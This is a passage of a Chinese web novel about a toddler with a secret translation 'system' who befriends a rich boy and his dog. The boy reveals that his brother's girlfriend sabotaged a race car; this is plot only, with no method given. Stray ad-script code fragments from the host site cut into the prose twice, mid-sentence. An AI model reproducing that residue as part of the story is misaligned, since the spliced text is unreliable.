路人E:那个三岁就会数据修复的小孩姐,到底真的假的啊。 路人F:假的吧,应该是人设营销,每年少年班智力测试不都公开考试的吗?下个月就要新一轮招生了,反正到现在我没听说有三四岁就入学的天才幼崽,一般都是五六岁吧。 数据修复A:没有金刚钻就别揽瓷器活,删帖跑路多难看啊,是不是? …… 随意瞥了几眼评论区的柏俞大惊失色,她没有觉得质疑她的人冒犯,只是觉得动态被人时刻盯着令她感到不安:……我不要当明星被人蹲点啊!我是来退休当闲鱼的啊! 谨慎的她立马将状态一栏私密,紧急做完这一切的柏俞安抚似的拍了拍自己的胸脯:好险! “哐哐——” 本就有些紧张的柏俞被敲门声吓得一激灵。 “小俞,出来吃鸡蛋羹吧。” 刚回柏家别墅的佣人王妈在房门外敲着,热情地招呼道:“我刚从乡下带了土鸡蛋回来,很有营养的哦。” 听到有新的没吃过的食物,柏俞心下一松,她将平板随手放在了桌沿,其他的事情都不着急,她匆匆穿好拖鞋,哒哒哒地跑去给王妈开门,柏俞很喜欢这个做饭手艺一流的阿姨。 “嗯嗯!我来啦。”柏俞拉开房门探出头。 她提出了自己小小要求,她靠着门口有些扭捏:“我想边吃边看绘本!可以么?” 王妈本想拒绝,认为小孩吃东西三心二意十分不妥,但一看到柏俞扒着门框歪小脑袋,脸颊软软的如同糯米团子,一双水润的圆眼忽闪忽闪地望着她,令她不自觉地联想到了可爱小动物的双眸,登时心下一软,什么都答应好:“可以哦,你想看什么绘本自己去挑吧,阿姨帮你把鸡蛋羹端到小书桌上。” 柏俞欢呼一声,撒开抓着的门框跑向书房,早上她看了两个版本的《活了一百万次的猫》,现在可以看剩下的几个版本。 绘本都是柏俞父亲温渊买的,同一本书的不同语言版本全都买得很齐,柏俞将没看过的书册全都垒起来,迈着小短腿吭哧吭哧地搬到了书桌上。 她将书摊开摆好后坐得端正,等待王妈给她围口水巾,虽然她心里觉得自己已经300岁了,没必要围口水巾,但柏俞还是乖顺地没有反驳大人的决定。 王妈慈爱地看着柏俞毛茸茸的后脑勺,注视着她乖巧地自己吃东西,一勺一勺稳稳当当地送进嘴里,也不会因为看绘本就要大人操心吃食,不由感叹道:还是小小姐好啊,请假回老家照顾了两天熊孩子,真是没钱又差点把我气死! 她的目光顺着柏俞的背影上移到矮桌上,好奇地打量着柏俞挑选的不同绘本,那些绘本全都整齐地摊开在唾手可及的地方,看着看着,王妈目露不解:怎么感觉这些绘本不是一个语言的啊?!小小姐全都看得懂吗?! 王妈又转念一想:小孩应该只是看看不同的图片吧,毕竟画了不同的插图都很精美。 见柏俞的碗渐渐空了,直到她吃完最后一口,王妈一边收拾残局,一边搭话道:“小俞,可以给王妈讲讲这些说了什么故事吗?” “嗯!” 柏俞停下翻页的动作,她将自己的手臂尽量撑长,努力去够桌子中间的纸巾,总结道:“讲了活了一百万次的猫的故事。” 王妈将桌中央的纸巾盒推向柏俞,更加不解了:“可是你不是早上才读了这个故事吗?” 王妈清楚的记得,早上陪柏俞读绘本的时候,她就在看中文版的《活了一百万次的猫》。 “对的,这本是法语的……这本是日语的。”柏俞随着她的介绍,一一将书举在自己面前,展示给王妈看,“这些都是《活了一百万次的猫》,只是语言版本不同。” 王妈将桌上细小的残渣收拾好,虽然她心里觉得柏俞应该只是在看图片,但还是十分尊重小孩地继续询问道:“小俞全都看得懂吗?” 柏俞抽出纸巾给自己擦嘴,她皱起眉毛,有些纠结,不知道该怎么回答这个问题,只能顺着擦嘴的动作,含含糊糊地回答道:“算看得懂吧。” 柏俞:毕竟系统有自动翻译,看不懂的地方会直接翻译成中文附在一旁,我只是好奇不同的版本会有什么不一样。 “哇!”王妈虽然没信,毕竟三岁半的幼崽哪能看得懂那些语言,能把中文版的读明白就已经很优秀了,但她还是发出了鼓励的赞赏声,“小俞好棒哦,等一下想不想和王妈去公园散散步啊,去看看绿色,不要整天看书,今天的夕阳会很好看哦。” 闻言,柏俞意犹未尽地放下绘本,她从来没有以人类的形式看过夕阳,立马就答应道:“我想去!” 王妈给柏俞套上了外套,整装待发,又牵着柏俞和老管家报备打招呼,去公园的一路上柏俞都很兴奋,好奇地左看看右瞧瞧。 王妈见小孩出行这么高兴,心情被带动地高涨,她提议道:“小俞要不要去凤凰河边的草坪上,坐在那里的椅子上看夕阳会很好看哦。” 柏俞高声回答道:“好!” 两人来到凤凰河边,柏俞对万事万物都感到新奇,她在草坪上这摸摸,那看看,伸手点了点不知名野花的花蕊。 王妈见小孩玩得开心,叮嘱完不要乱跑,不可以乱吃东西后,一个人坐在树下望着柏俞,时刻注意着她的动向,但又尽量不打扰孩子自由地接触自然。 柏俞玩了没一会,正蹲在地上埋头看蚂蚁搬食物,忽地听到了一声高亢的狗叫,主系统连狗叫声都尽职尽责地给柏俞提供了一键翻译。 【小狗说:我闻到了很好闻的味道!】 什么好闻的味道?柏俞好奇地抬起头左顾右盼,翕动着小鼻子使劲闻,除了青草泥土味儿,她什么都没闻到,甚至连小狗的影子都没看见,柏俞挪动着步伐,从树后挪到了路边。 过了几分钟,她才看到远处走来一个六七岁的男孩,正在牵着狗遛弯。 那男孩穿了一身黑,头发却是棕青色的,溜着狗还心不在焉,他将狗绳随意地挽在臂弯,双手捧着个switch手指翻飞,明显他的注意力全都集中在游戏机上,漫不经心地牵着狗走着。 他的身后还跟着个极其漂亮的年轻女人,正在试图和他搭话。 “鹤冕呐,走路不要光顾着玩游戏,这样会摔跤的。”女人的声音温柔,咬字十分的清晰,隔挺远柏俞也能听得清楚。 柏俞不确定男孩有没有搭理她,但小狗步履规律地离她越来越近了。 即使没听到想要的回应,女人还是不气馁,她继续关 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心地说:“鹤冕,你理理姐姐好不好,是你二哥叫我陪你遛狗的哦,你这样对眼睛不好。” 因为距离越来越近,柏俞听到那个叫鹤冕的男孩敷衍地应付道:“我知道,我这不是正走在盲道上吗?陀螺现在就是导盲犬,你放心吧。” 陀螺?这只德牧大犬叫陀螺吗?柏俞从路边起身,巴眨着眼睛望向德牧:毛绒绒的,他的立耳好可爱啊!像小兔子! 陀螺也耸耸鼻子,突然停下脚步原地坐下,一脸好奇地打量着不远处的柏俞。 赵鹤冕正进行到游戏的关键时候,但他打游戏只是为了不和二哥的新女友交谈,所以也并没有很用心,一下就注意到了陀螺停下来了。 “陀螺,怎么不走了。”赵鹤冕顿住脚步,腾出一只手揉了揉狗头。 “汪!”被主人摸头的陀螺兴奋地起身,朝柏俞的位置前进了好几步,尾巴摇成了螺旋桨,但主人没有命令,他不能随意离开跑向路人。 赵鹤冕这才注意到路边站着的小女孩。 女孩穿得很严实,头发梳的整齐,她先是偏头像是闻着什么,而后抬起白净的小脸,好奇地盯着他的狗看。 王妈看到来人,立马从树荫下来到柏俞身边,她是柏家的老佣人,性格开朗人缘又好,掌握了不少八卦动向,对大悦湾附近的近况可谓了如指掌。 别墅区里的人大都非富即贵不好得罪,王妈礼仪得体地打着招呼。 几人交换了姓名,王妈心想:果然。 面前的小男孩赵鹤冕是老牌车企“赵氏”最受宠的小孙子,人称“A圈太子爷”,虽然一直生活在国外,近几天才随着母亲回国,但深受赵老爷子的喜爱,他上面的两个哥哥完全不能和他相比。 大哥赵总赵鹤彦兢兢业业地进祖父的企业历练,从基层做起,每天忙得飞起。 二哥小赵总赵鹤成有些浑不吝,对祖传的企业没什么兴趣,但极其喜欢插手娱乐圈事务,只是常常投资亏本,被资圈戏称“毒奶投资人”,投资打水漂太多次后,被老爷子安排去厂里打螺丝锻炼心性。 赵鹤成换女朋如同换衣服,但据说最近被一个叫廖雅的小明星迷得五迷三道,谈了三四个月还没分手十分上心,似乎将要浪子收心,还有不少人猜测他会不会就此直接步入婚姻殿堂。 之所以会有这样的传言,主要是小赵总要带着小女友参加弟弟赵鹤冕的生日宴,赵老爷子极其看重他的小孙子,宴会名单都是精挑细选的。 赵家祖宅可不在大悦湾,而赵老爷子怎么会让赵鹤冕住在别处,王妈暗戳戳地猜测到:肯定是小赵总为了让弟弟和他的女朋友磨合,接赵鹤冕在大悦湾一起生活几天,估计真的好事将近?! 思及此,王妈视线不动声色地扫过面前的两人,但赵鹤冕看起来似乎并不是很喜欢他的准嫂嫂,对人家爱答不理的,估计得好事多磨。 陀螺见赵鹤冕只是定定地立在原地,没有上前的意思,他悄悄后退一步靠近赵鹤冕,让摇动的尾巴不断扫过赵鹤冕的衣角,向他示意自己的兴奋。 “你很喜欢她吗陀螺?”赵鹤冕放下switch。 陀螺十分聪明但很高冷,只亲近赵鹤冕和他的母亲,而且请了专人训练,也通过了免牵引狗证测试,是一只够克制自己的动物本能、服从命令的德牧犬,这是赵鹤冕第一次见他对着陌生人这么兴奋。 以前陀螺只会对自己这么摇尾巴的,赵鹤冕心里有一丝酸,但转瞬即逝,他牵着狗向柏俞靠近,礼貌地对她说道:“陀螺不会咬人的,不要害怕。” 陀螺得到主人的首肯,兴奋但克制的凑近柏俞,他嗅着柏俞的味道,高兴地小声汪了一下。 【小狗说:这个人类真的好好闻!】 柏俞闻不到自己身上的味道她问:,“我能摸摸他吗?” “可以,不用害怕,他很乖的。”赵鹤冕随着狗靠近柏俞,担心对方害怕,他将松松挽着的狗绳攥进手里,向柏俞示意,“我牵着的。” 廖雅跟在赵鹤冕身后,看着陌生女孩小心翼翼地轻抚德牧的脑袋,德牧立着的耳朵抖动了两下,她有些不甘地咬了一下下唇:赵鹤冕的领地意识很强,不喜欢别人碰他的东西,她围在他身边讨好了几天,他都不为所动,别说摸他的狗,就连属于他的死物都是不能碰的! 赵鹤冕见柏俞并不怕狗,偏头向她示意:“你介意我解开他的牵引绳吗?” “没关系!”柏俞超喜欢这只热情但很克制的大狗,“可以让他陪我玩吗?” 赵鹤冕将陀螺的牵引绳解开,从外套帽子里掏出了棒球递给柏俞,“你可以和他玩巡回。” 见柏俞高高兴兴地和小狗玩去了,赵鹤冕从衣兜里掏出湿巾,擦了擦一边的座椅,他顺手将垃圾搭在椅子边上,方便等会带走,在干净的椅子上坐了下来。 从椅子的方向往对面看,夕阳正烧得热烈,赵鹤冕静静地观赏着夕阳,任由陀螺和柏俞在他身边跑来跑去,暗暗嘀咕道:“你真的很喜欢她。” 廖雅在赵鹤冕的另一边坐下,不敢离她太近,举着手机问道:“鹤冕,正是火烧云最好看的时候,姐姐帮你拍个照好不好?” “不用麻烦了,我不喜欢拍照。” 廖雅看着赵鹤冕又开始低头玩游戏,她暗暗咬着后槽牙,心想真是难伺候! 柏俞和陀螺玩得很尽兴,但幼崽的体力实在太差,没一会她就蔫蔫地拿着球回到了赵鹤冕身边。 赵鹤冕懒懒地掀眼皮看了柏俞一眼,和她道谢:“帮我遛狗辛苦了。” 柏俞气喘吁吁,她撑着膝盖说道:“我要休息一下。” “嗯,坐我这边吧,擦干净了。” 柏俞挨着赵鹤冕的另一边坐下,陀螺虽然还没玩尽兴,但看她累了,乖乖地趴在她脚边,柏俞安静片刻又觉得有些无聊,偏过头围观赵鹤冕打游戏。 赵鹤冕正在打一款俄语的RPG游戏,国内暂时没有翻译,他见柏俞好奇,手微微倾斜朝向她,方便她能更好的看到操作。 柏俞对他的操作没什么感悟,但被RPG小人的对话故事吸引,她津津有味地看着画面上的小人对话。 见柏俞喜欢,赵鹤冕随口问道:“你要玩吗?” “我不会玩,但我想看你选越狱那条线!” “你看得懂俄语?”赵鹤冕有些惊讶,讶然地抬头看向柏俞:你才三四岁吧!?国内的教育这么卷吗?! 18. 捂耳 面对赵鹤冕的疑惑,柏俞思索片刻,写代码时需要用到英文,而那些专业晦涩的专有名词,主系统也会提供一键翻译,她眨眨眼,老实巴交地回答道:“看得懂……它们在我眼里都是中文。” 闻言,赵鹤冕眼皮微抖,他更惊讶了,看得懂句意,和能达到母语水平的熟练程度不可同日而语,赵鹤冕放下switch,真诚地夸赞道:“你好厉害。” “也没有很厉害。” 柏俞将手中的棒球搁在椅子上,回视赵鹤冕以同样真诚的眼神,毕竟在她看来,赵鹤冕也才六七岁,不也看得懂吗。 陀螺趴在两人的脚边,下巴搭在交叠的前爪上,听到“厉害”一词的陀螺耳尖条件反射地抖动了两下。 “陀螺,你好可爱!” 柏俞的注意力一下被狗狗吸引了过去,她从椅子起身后蹲在陀螺身边,用手指戳了戳他的大耳朵,再rua了rua陀螺的脑袋,在心中感慨道:要是我也有一只狗狗就好了……对!我想要有一只狗狗!列在退休计划的清单上! 一旁的廖雅看着他们的和谐互动,心里有些不是滋味,她虽然坐在赵鹤冕左侧,却离他隔得很远,整个人几乎贴在了椅子边缘。 赵鹤冕不喜欢陌生人离他太近,刚开始,不知情的柏俞一屁股挨着赵鹤冕坐下时,廖雅还有些期待他能表露出嫌弃,毕竟赵鹤冕是个有什么就说什么,完全不顾别人死活的性格。 廖雅有些阴暗地想:虽然她不认识柏俞,但能在别墅区出现的都不会是普通人,就算对赵家影响甚微,如果能结下梁子也是极好的! 谁让赵鹤冕小小年纪就一副冷漠样,恣意矜贵随心所欲,完全不给别人留面子,对不感兴趣的事情说破嘴皮了也不肯动一下,十分地难以讨好!! 但目睹赵鹤冕担心柏俞看不清画面,还主动倾斜屏幕,廖雅顿时将在赵鹤冕身上受挫而产生的不快,迁怒到了柏俞身上,她有些不屑地想:赵鹤冕一个留子,看得懂英文很正常,她一个三四岁的小孩,还生活在国内,能懂到哪里去?! 廖雅嘴唇微张,刚要出言刁难,想以长辈的身份考考柏俞,就被一旁的王妈打断—— “小俞,来喝水吧。” 王妈慈爱地注视着柏俞主动社交,十分之感动:小小姐终于主动交朋友,而不是谁都不搭理了!今天是个好日子啊!!我一定要记录下来!能让小小姐变得活泼开朗一点,哦!这一大一小的俩好人啊! 廖雅憋着的那口气被骤然打断,没消散反而卡在心口不上不下,她有些心梗地盯着王妈深呼吸,暗暗发誓等会儿一定要问出口,以解心中郁气! 王妈提着袋子走向他们,她先是从背包里取出柏俞的水壶,怜爱地看着柏俞道谢接过喝了起来,而后才掏出另外三瓶矿泉水,礼貌、热情又带着点感激地询问道:“廖小姐、赵小少爷要不要喝水?” 言罢,王妈还弯下腰问道:“陀螺要不要喝水?” 陀螺听到有人在叫自己的名字,抬眼瞟了一眼来人,但仍趴着并没有起身。 王妈看着陀螺油光水滑的毛发,在心中大声感慨:哦!这大功臣狗啊!让我们小俞变得多么开朗!不敢想,这要是小俞的狗,小俞每天该有多么开心啊! “谢谢,但我不渴,可以直接喊我的名字。”赵鹤冕礼貌地拒绝,他垂眸看向趴在地上向柏俞撒娇,不断摇尾巴的陀螺,从冲风衣外套口袋里拿出了一个小水壶,补充道,“陀螺自己带了水壶。” 廖雅见赵鹤冕对外人给的东西并不感兴趣,心想这才是那个排外得要命的赵鹤冕!她也立马拒绝了王妈的好意。 王妈虽然被拒绝,但她并没有什么受挫感,乐呵呵地收起水继续围观柏俞和他们互动:小小姐今天和陌生人说了好多话!真是两个不求回报的好人啊! 陀螺听到主人喊自己,恋恋不舍地直起身,离开柏俞的抚摸,走到赵鹤冕身边,喘着气冲着他晃了晃尾巴。 柏俞手下的狗头一空,她有些惊讶地瞪圆了眼,观察着赵鹤冕的外套,嘴巴张成了O型:这人是在身上装了个杂货店吗?!外套帽子装棒球,衣兜里装小水壶?! 赵鹤冕领着陀螺去到草坪上,又从另一侧的口袋里掏出了个折叠软杯,他蹲下身,将switch隔在大腿上,拧开瓶盖给陀螺倒水,做完这一切,他起身站在一旁,耐心地等着陀螺。 等陀螺将水一饮而尽,柏俞又目睹赵鹤冕从冲风衣内侧的口袋里,掏出了两个塑料袋,将水碗装进了透明的袋子里。 另一个是留着解决陀螺如厕问题的,赵鹤冕拎着塑料袋,拍了拍陀螺的背,默许他吃饱喝足又跑去找柏俞玩。 陀螺撒手没地奔向柏俞,围着她转来转去。 柏俞坐在座位上,刚好也喝完了水,她将水杯放在身侧。 王妈则立刻将柏俞的水壶妥善收好,一脸感动地看着这只热情洋溢的德牧犬:好狗,真是一只好狗狗!要是属于我们小俞就更好了! 赵鹤冕也回到座位上重新坐下。 廖雅见二人再次回到位置上,开始暗暗酝酿刚刚没能抒发的郁气。 尚且不知马上要被刁难的柏俞,摸了摸陀螺凑上膝盖的脑袋,有一下没一下地给他顺毛,柏俞见赵鹤冕又打开了他的游戏,漫不经心地随口询问道:“这是什么游戏啊?” “是根据小说改编的游戏……”赵鹤冕说到一半,突然意识到这个游戏可能不太适合未成年,虽然他话不多,但是一个有什么都打直球、表达直接的人,于是他诚恳地建议道,“这个游戏可能不适合你这个年龄,我还有其他游戏……如果你真的很想玩,长大一点再玩好吗?” “啊?”柏俞摸陀螺的手一顿,她只是随口一问,并没有真的很想玩,但人都是有些逆反心理的,越说不让玩,柏俞反而真的被勾起了好奇,她歪头打量了一下赵鹤冕,心想你的年纪也没有很大吧?我可是堂堂300岁打工人! “是四岁以上才能玩吗?”柏俞盯着屏幕不解地追问。 “16+,最好成年。” 后知后觉意识到不妥的赵鹤冕微微用手遮住屏幕,虽然游戏画面除了战斗流血以外并没有什么不妥,但柏俞能看懂台词,给四岁小孩看这些确实有些不太合适。 见柏俞眼睛睁得大大地望向他,赵鹤冕又不好直接拒绝对方,他难得绷起小脸,边在脑海里回想自己的switch里有没有适合小孩玩的游戏,边组织措辞转移话题:“你喜欢玩换装游戏吗……我只有这款游戏适合现在的你。” 柏俞:“……?”离谱!不让我玩!你自己成年了吗?! 廖雅难得见赵鹤冕这么生硬地转移话题,憋了许久的情绪终于有了宣泄口,她一下情绪上头,不想如赵鹤冕所愿,坏心地将话题引回:“小俞今年四岁吗?词汇量就已经这么大了啊,好厉害。” 廖雅家里也算有些钱,父亲廖横武是早年出道的武打明星,送她出国水过大学,英文水平也还可以,她盯着赵鹤冕玩了一路的游戏,对游戏内容一直感到有些熟悉,尤其是章节标注的“BurningChrome”,现在听到赵鹤冕说改编自小说背景,心下有了确定:是根据《全息玫瑰碎片》背景改编的游戏。 廖雅曾接过赛博朋克背景的剧本,为了彰显自己的敬业,买过几本“赛博圣/经”拍照打卡,还特意买了原著和译版并排摆在书柜里,这样直播粉丝就能看到她的书架,无聊时也随手翻过两下,还写过所谓的小作文。 当时有不少粉丝夸她人美聪明还敬业,比一些“九漏鱼”不知道好出多少,在评论区嗷嗷为她打call。 廖雅装作激动地夸奖柏俞,又有些为找到了赵鹤冕感兴趣的东西,有了突破口而沾沾自喜:“鹤冕在玩的游戏改编自《全息玫瑰碎片》吗?看到标题BurningChrome啦。” 赵鹤冕:“……”我刚转移的话题。 “中文版原著我看过,被翻译成‘整垮珂萝米’了,我还挺喜欢这个翻译的,简洁,毕竟Chrome是小说角色人名嘛,还和主角对立,所以就算主角要整垮他双关……” 廖雅停住话头,见赵鹤冕微微眯起双眼,神色难辨,又觑了一眼柏俞的表情,见她星星眼地看着自己,一副很崇拜的样子,廖雅对柏俞露出微笑更加显摆道:“虽然Chrome还是浏览器名称,带有框架的意思,翻译就无法体会到这个名字带来的赛博网络质感,但译文很难尽善尽美的。” “h……”廖雅刚要喊赵鹤冕的名字,询问他的看法,又想到万一他没搭理自己,岂不是有损自己刚在柏俞面前树立起来的成年人威严,于是“鹤”字在她嘴里打了个转,转而问道,“小俞觉得呢?” 虽然恭维地问柏俞,但廖雅心里的恶意蠢蠢欲动,一个小孩能懂什么呢?!廖雅为能在小孩面前展示优越感,压他们一头而感到兴奋。 廖雅的话刚说完,王妈表情微变,人精的她立刻就感受到了廖雅语气里的针对,虽然有些摸不着头脑,不明原因,但王妈还是当即集中精神,预备挑一个合适的时机插手,尽量在维护小小姐的同时不得罪他人。 王妈:口蜜腹剑!我刚刚还感谢她!?难怪不被小叔子认可! 听到这话赵鹤冕也是顿了顿,抬眸警告地瞟了廖雅一眼,出声道:“廖……” 在气氛诡异的情况下,只有柏俞在状况外,一脸纯真地回答道:“还是铬元素,在我眼里他叫‘铬罗姆’,铬先生。” “Chrome”这个词并不是什么常用的单词,但柏俞在对人类情感的感知上还是有些迟钝,她没读出廖雅语气里的刁难,以为对方是真心实意想询问她的见解。 赵鹤冕一怔,要说出口的话被他咽了回去,他的眼底隐隐闪着细碎亮意,有些诧异地偏头看向柏俞。 “BurningChrome,热烈燃烧的铬,是敌人袭击,也算双关吧。” 面前的女孩英文发音很地道,柏俞将椅子上的棒球抓回手中,在左右手来回倒腾,勾得陀螺脑袋不断随着棒球晃动,她解释道:“我没有看过姐姐说的书,所以不是很懂,只是陈述我看到的。” 廖雅见柏俞态度十分真诚,虽然不能将对方堵得哑口无言,欣赏她窘迫的姿态,但柏俞谦逊的态度还是很好地取悦了廖雅,她有点得瑟地鼓励安慰道:“害,小孩子还小,以后可以读的啦,铬先生并没有什么特别的,中文的译本就已经很好了。” “小俞词汇量还不错,但不要骄傲,人外有人。”廖雅得意洋洋地发表总结语。 王妈见柏俞迎刃而解时十分欣喜,心想不愧是小俞,我要给她做好吃的狠狠夸奖!但听到廖雅的打压式教育,不满差点挂脸,的亏工作经验丰富,见过不少人,才忍住了翻白眼的冲动:我家小俞轮得到你教育!? 柏俞感受不到廖雅由内而外散发出来的优越感,但赵鹤冕心知肚明,他看着柏俞傻乎乎地点头,似乎很认可地若有所思,赵鹤冕的指腹摩挲着游戏机按键,忽地笑了,带着警告意味地说:“BurningChrome,我也喊他铬先生。” 廖雅和父亲廖横武很像,都是容易上头的性格,极其崇尚权威,她没意会到赵鹤冕话语里的警示,仍旧说教道:“鹤冕也还小,虽然可能比不上专业翻译,但有自己的见解很好啊。” 赵鹤冕掀起眼皮看向廖雅,突然转过身对王妈说了句话:“阿姨,能帮我捂着柏俞的耳朵吗?谢谢。” 王妈有些不明所以,但还是照做,她心里隐隐有些将要吃到大瓜的预感:我要捂耳朵吗?!没手捂耳!嘿嘿马上理直气壮吃一个大瓜!以后大悦湾,哪个佣人不来找我吃一手瓜?! 突然被剥夺听觉的柏俞:?什么是我一个300岁打工人不能听的?! 廖雅的心中猛地升腾起不安,她攥紧拳头,一下意识到自己有些得意忘形了,紧张地找补:“鹤冕,抱歉,我不是说教,只是关心你们……” 赵鹤冕似笑非笑地开口,说了段和现在话题风马牛不相及的话:“如果你真的想嫁给我哥,就应该替他多了解一下家族企业,他不喜欢经营车企,但喜欢收集跑车、玩赛车,你最好对这方面有所了解,因为我二哥只是个眼光很差的咸鱼,没什么投资分析能力,没有家族的接济可能会饿死。” “而不是一直 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跟着我讨好我,说实话,这样的行为很烦人,你明明知道我不喜欢你跟着。” “你应该继续想方设法讨好我哥,他是不是和你说,如果我喜欢你,爷爷就会同意让你进门?” “二哥也是异想天开了,你现在讨好我,爷爷只会警惕你是不是想当我小妈,几年前他可能会被默许,但近几年爷爷很喜欢我妈妈,你这样只会招他厌烦。” 赵鹤冕的语气十分诚恳,似乎真的只是给盲目抓瞎的准嫂嫂一些建议,但用词很直接,不留情面,不像是一个七岁小孩能说出来的话,“小妈”一词更是如同平地惊雷,将王妈炸了个外焦里嫩,她有些惊恐,默默捂紧了柏俞的耳朵。 听到赵鹤冕只是说这些,廖雅心下一松,甚至对他升起了一丝感激,趾高气昂地在心里吐槽道:不早说!害我浪费时间热脸贴你冷屁股! “还有。”赵鹤冕脸上没什么情绪,仿佛只是在陈述一件陌生人的事情。 “不要把小动作打到我身上,你在二哥的赛车上动手脚的事情,大哥都知道,但大哥喜欢看别人亲身经历,犯蠢踩坑长教训。” 廖雅刚松了口气,闻言,像是刚有了睡意就被人从暖和的被窝里抡起来,疯狂扇了十几个巴掌,她的心脏狂跳,仿佛就要跳出胸腔,甚至出现了轻微耳鸣。 赵鹤冕像是看不出她的摇摇欲坠,继续不留情面地陈述道:“就是几个月前,二哥赛车赛场打滑,刚好载着你,你飞身护着他吊桥效应那次。” “那次赵鹤峥开的是一辆铬合金的跑车,很高调晃眼,如果出现偏差,你觉得那辆车,BurningChrome,烧起来会不会很漂亮,昂贵的天价跑车,肾上腺激素飙升的赛场,众人的欢呼尖叫,狭小空间里剧烈的喘息,和死亡擦肩而过的心率,青天白日的焰火?” “如果去祖宅,可不要动什么手脚,公共的监控没有死角,也不用过于紧张,不用担心我揭穿你,我对别人的私事不感兴趣。” 平静地说完一串爆炸性的消息,赵鹤冕才淡淡地提出自己的要求:“只要你别一直跟着我,我对你这个人没有任何意见。” 廖雅原本还心存幻想,但赵鹤冕连她动手脚的车辆、目的全都平铺直叙,直接摊开在明面上。 廖雅的眼前一黑,险些栽倒在地,她神情恍惚,浑身颤抖地撑住椅背。 王妈也有些惊慌失措,她现在不想听八卦了,恨不得立刻现在马上就能长出八只手:我现在说我其实是聋子,柏家只是看我可怜才雇佣我的还来得及吗?!这是我能听的八卦吗?!我不会被灭口吧?! 这股坦坦荡荡又不顾他人死活的劲儿是怎么回事?!王妈只觉毛骨悚然,现在的小孩都这么恐怖的吗?!在乡下带熊孩子除了闹心,其实也没有什么不好嘛! 王妈开始想,机缘巧合听到这样的八卦,她应该露出什么表情,是面无表情好,还是面露难色好。 不能让小小姐和赵鹤冕玩了!王妈强行让自己冷静下来,虽然他是柏俞交到的第一个朋友,但赵小少爷实在是太恐怖了!她今天怎么一连谢了两个不该谢的人?! 还是狗狗好,王妈亲切地看着任由柏俞捏圆搓扁的德牧犬,再次感叹:这么好的狗,要是我家小俞的就好了。 不过赵鹤冕不愧是车企的小少爷,虽然父亲改行从事科技,小小年纪还是关注着祖父的企业,不愧是赵老爷子最看重的继承人。 在王妈呆若木鸡,不知作何反应的僵硬下,赵鹤冕像是什么也没发生过,淡淡笑了一下,对王妈说:“我的话说完了,看柏俞一个人挺无聊的,阿姨你放下手吧。” “哦……好,好。”王妈胆战心惊地放下手,留再次处于状况外的柏俞重获听力。 “说完了吗?”柏俞正拨弄着陀螺的聪明毛,倏忽再次听到声音,她的余光有瞥到廖雅神色大变,似乎听到了什么惊天噩耗一时无法接受,柏俞虽然对他们的谈话有些好奇,但也不是非知道不可。 “嗯。” 赵鹤冕冲柏俞点点头,又从小腿裤兜里掏出了一小包鸡肉干,神色自然、置身事外地将袋子递给柏俞,和她提议道,“你可以喂他吃小零食。” 柏俞接过,切实好奇地上下打量着赵鹤冕的穿着,她有些想上手摸摸他的冲锋衣,但觉得有些不礼貌,便没有伸手,只是好奇的问:“你在身上穿了个杂货铺吗?” 赵鹤冕被柏俞惊奇的语气逗笑,他嗯了一声,见柏俞十分开心地逗着陀螺,觉得和她待在一起还蛮好玩的,便向柏俞发出了邀请:“我组建了团队做游戏翻译和小程序,可以邀请你来玩吗?不止有换装小游戏……还有种田游戏……” 赵鹤冕一滞,他好像没做什么适合四岁小孩玩的游戏,应该提上日程。 什么?!你还敢邀请?!王妈的心提到了嗓子眼,她眼神恳切地望向柏俞,希望她能读懂自己的言外之意,狠狠拒绝赵鹤冕:这恐怖的小学生!小小姐不要答应啊! “嗯……”柏俞其实一般喜欢玩游戏,但她想起小姨也是游戏行业的,也许可以提前了解一下市场前沿动向,以便她自己开发,于是便答应了下来。 王妈的心死了,本来今天开开心心的,还为小小姐变得开朗而喜上眉梢,没想到,这只是提心吊胆生活的开始…… 王妈:赵鹤冕也是蛮牛的……难怪他爸和家里闹翻还能东山再起,狠角色要从小培养,虽然他小小年纪就有自己的事业,但我们小小姐还小,就掌握了翻译信达雅!还是我们小俞牛,等小俞到这个年纪,肯定超越他! 柏俞能感觉到王妈突然很激动地看向自己,但不明白她想表达什么,正疑惑着,脑袋搁在她膝盖的陀螺忽地抬起头,小幅度地四下张望。 赵鹤冕:“有人来了。” 过了四五分钟,果然从远处走来两个小男孩,其中一个还是柏俞的大熟人——正是曾经让她上交小羊玩偶就保护她的张光耀。 张光耀看到柏俞也很兴奋,他急急地就要冲上来,嘴上嚷嚷着:“当我小弟的事情你考虑得怎么样了?” 赵鹤冕抬头,确定对方不是在和自己说话,他没什么表情地看向了来人。 19. 戏多 张家别墅院子内。 张光耀和伙伴李平天正偷偷摸摸地蹲在灌木丛后交头接耳。 “你确定你妹妹不会发现吗?”李平天觑了一眼不远处的女孩,觉得这个场景很刺激,就像在演谍战片一样,他特意把衣服领子立起来cos间谍,用手遮着面,凑近张光耀,压低声音与他咬耳,“你妹妹好能闹腾啊,我们等会偷偷溜出去玩吧。” “你的头发扎到我了平头哥。”张光耀见妹妹拖着泰迪熊从灌木丛前哭唧唧地走过,猛地将小伙伴的头压低,以免他露头被发现了,“都怪我爸!把她宠坏了!她现在想要什么,一哭闹全家就要双手奉上!” “你不是最护着你妹妹了吗?我听积木大王说你妹妹想要什么玩偶,你很积极地立马给笨蛋柏俞打去了电话。” “他还夸奖你妹肺活量一定非常不错,可以哭一下午。” 张光耀一听到玩偶就感到气愤,他气哼哼地发出一声鼻息,“柏俞那个笨蛋也是有哥哥的!长得比我高比我壮,我肯定打不过他!” “而且我爸妈明显更喜欢妹妹!我好不容易背了首唐诗,想着背给我爸妈听,他们根本没在听!妈妈光顾着看电视剧,爸爸光顾着陪妹妹画画!他们根本就不在乎我!我不要喜欢我妹妹了!我再也不要帮她了!她想要什么都不关我的事!!”张光耀越说越委屈,越说越激动,他的声音不自觉地放大,差点引来妹妹的注意,被李平天用衣服兜头包住,一个踉跄扑进了面前的灌木丛里。 “你小点声!”李平天正沉浸在谍战片的氛围中,压根没注意到好兄弟的狼狈,他用气音警示张光耀,伸手指了指一边,“走,从那个门偷偷溜出去。” 张光耀头罩外套,猫腰跟着李平天,他还沉浸在觉察父母不爱他的惊天噩耗里,突然停下脚步原地站立,仰头伤心欲绝地发出一声低哑的哀嚎:“难道是因为妹妹是女生!苍天啊,为什么我不是女生!?最讨厌爸爸了!” 